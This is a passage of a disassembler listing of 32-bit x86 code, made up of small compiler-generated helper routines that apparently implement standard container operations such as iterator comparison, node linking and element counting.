		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415A30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A60	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401456
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415A60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A90	proc near		; CODE XREF: sub_40113Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_40175D
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415A90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AD0	proc near		; CODE XREF: sub_4016D6j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_40175D
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415AD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415B00	proc near		; CODE XREF: sub_40217Bj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C62
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401ED8
sub_415B00	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401F19
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4021B7
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415BA0	proc near		; CODE XREF: sub_401735j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CBC
		test	al, al
		jz	short loc_415BED
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415BBA:				; CODE XREF: sub_415BA0+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A5F
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40217B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_40210D
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CBC
		test	al, al
		jnz	short loc_415BBA
		pop	edi


loc_415BED:				; CODE XREF: sub_415BA0+13j
		pop	esi
		retn	0Ch
sub_415BA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C20	proc near		; CODE XREF: sub_401FCDj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401578
		mov	ecx, eax
		call	sub_401C62
		mov	esi, eax
		push	esi
		call	sub_4020A9
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_4020A9
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401F19
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401500
		push	esi
		mov	ecx, edi
		call	sub_401CE9
sub_415C20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CE0	proc near		; CODE XREF: sub_40146Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jz	short loc_415D3A


loc_415CF8:				; CODE XREF: sub_415CE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401578
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jnz	short loc_415CF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415D3A:				; CODE XREF: sub_415CE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415CE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D70	proc near		; CODE XREF: sub_401ED8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020F4
sub_415D70	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415D85
		mov	edi, esi


loc_415D85:				; CODE XREF: ___:00415D81j
		push	esi
		call	sub_4020A9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415D9A
		mov	edi, esi


loc_415D9A:				; CODE XREF: ___:00415D96j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DC0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E1A
sub_415DC0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DE0	proc near		; CODE XREF: sub_4020A9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415DE0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E00	proc near		; CODE XREF: sub_401F19j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E20	proc near		; CODE XREF: sub_401ED3j
		mov	eax, ecx
		retn
sub_415E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E40	proc near		; CODE XREF: sub_401DBBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40175D
		mov	eax, esi
		pop	esi
		retn	4
sub_415E40	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E70	proc near		; CODE XREF: sub_401578j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020C2
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415E70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415EA0	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415EA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415ED0	proc near		; CODE XREF: sub_401AAAj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F8C
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C8F
sub_415ED0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402144
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015F0
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415F70	proc near		; CODE XREF: sub_4017E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F8C
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402144
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D61
		push	esi
		mov	ecx, edi
		call	sub_401E33
sub_415F70	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416030	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jz	short loc_41608A


loc_416048:				; CODE XREF: sub_416030+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jnz	short loc_416048
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41608A:				; CODE XREF: sub_416030+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416030	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4160C0	proc near		; CODE XREF: sub_401C8Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015AF
sub_4160C0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4160D5
		mov	edi, esi


loc_4160D5:				; CODE XREF: ___:004160D1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4160EA
		mov	edi, esi


loc_4160EA:				; CODE XREF: ___:004160E6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416110	proc near		; CODE XREF: sub_401E33j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416110	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416130	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416150	proc near		; CODE XREF: sub_402144j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416150	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416170	proc near		; CODE XREF: sub_401E97j
		mov	eax, ecx
		retn
sub_416170	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416190	proc near		; CODE XREF: sub_401CDAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161C0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018C5
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4161C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161F0	proc near		; CODE XREF: sub_401EC4j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4161F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416220	proc near		; CODE XREF: sub_401D11j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017DF
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DB6
sub_416220	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017DF
		push	edi
		mov	[eax], ebx
		call	sub_4017DF
		mov	edi, [eax]
		push	edi
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017E4
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E15
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4162C0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EBF
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BCC
		push	esi
		mov	ebx, eax
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017DF
		push	esi
		mov	ebx, eax
		call	sub_401BCC
		mov	eax, [eax]
		push	eax
		call	sub_4017DF
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017E4
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401401
		push	esi
		mov	ecx, edi
		call	sub_401F14
sub_4162C0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416380	proc near		; CODE XREF: sub_40140Bj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4163DA


loc_416398:				; CODE XREF: sub_416380+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EBF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416398
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4163DA:				; CODE XREF: sub_416380+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416380	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416410	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401EBA
sub_416410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416425
		mov	edi, esi


loc_416425:				; CODE XREF: ___:00416421j
		push	esi
		call	sub_401BCC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41643A
		mov	edi, esi


loc_41643A:				; CODE XREF: ___:00416436j
		push	esi
		call	sub_4017DF
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416460	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401866
sub_416460	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416480	proc near		; CODE XREF: sub_401BCCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416480	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164A0	proc near		; CODE XREF: sub_4017E4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4164A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164C0	proc near		; CODE XREF: sub_401E42j
		mov	eax, ecx
		retn
sub_4164C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_401D7Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401618
		mov	eax, esi
		pop	esi
		retn	4
sub_4164E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416510	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416510	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416540	proc near		; CODE XREF: sub_401456j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416590	proc near		; CODE XREF: sub_4020F4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4165C0	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4165C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165E0	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4165E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416610	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416610	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416630	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416630	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416650	proc near		; CODE XREF: sub_401A5Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_416650	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416670	proc near		; CODE XREF: sub_40210Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166A0	proc near		; CODE XREF: sub_401CBCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E74
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_4166A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401C62j
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_4015AFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416740	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416740	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_4015F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40205E
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_401D61j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
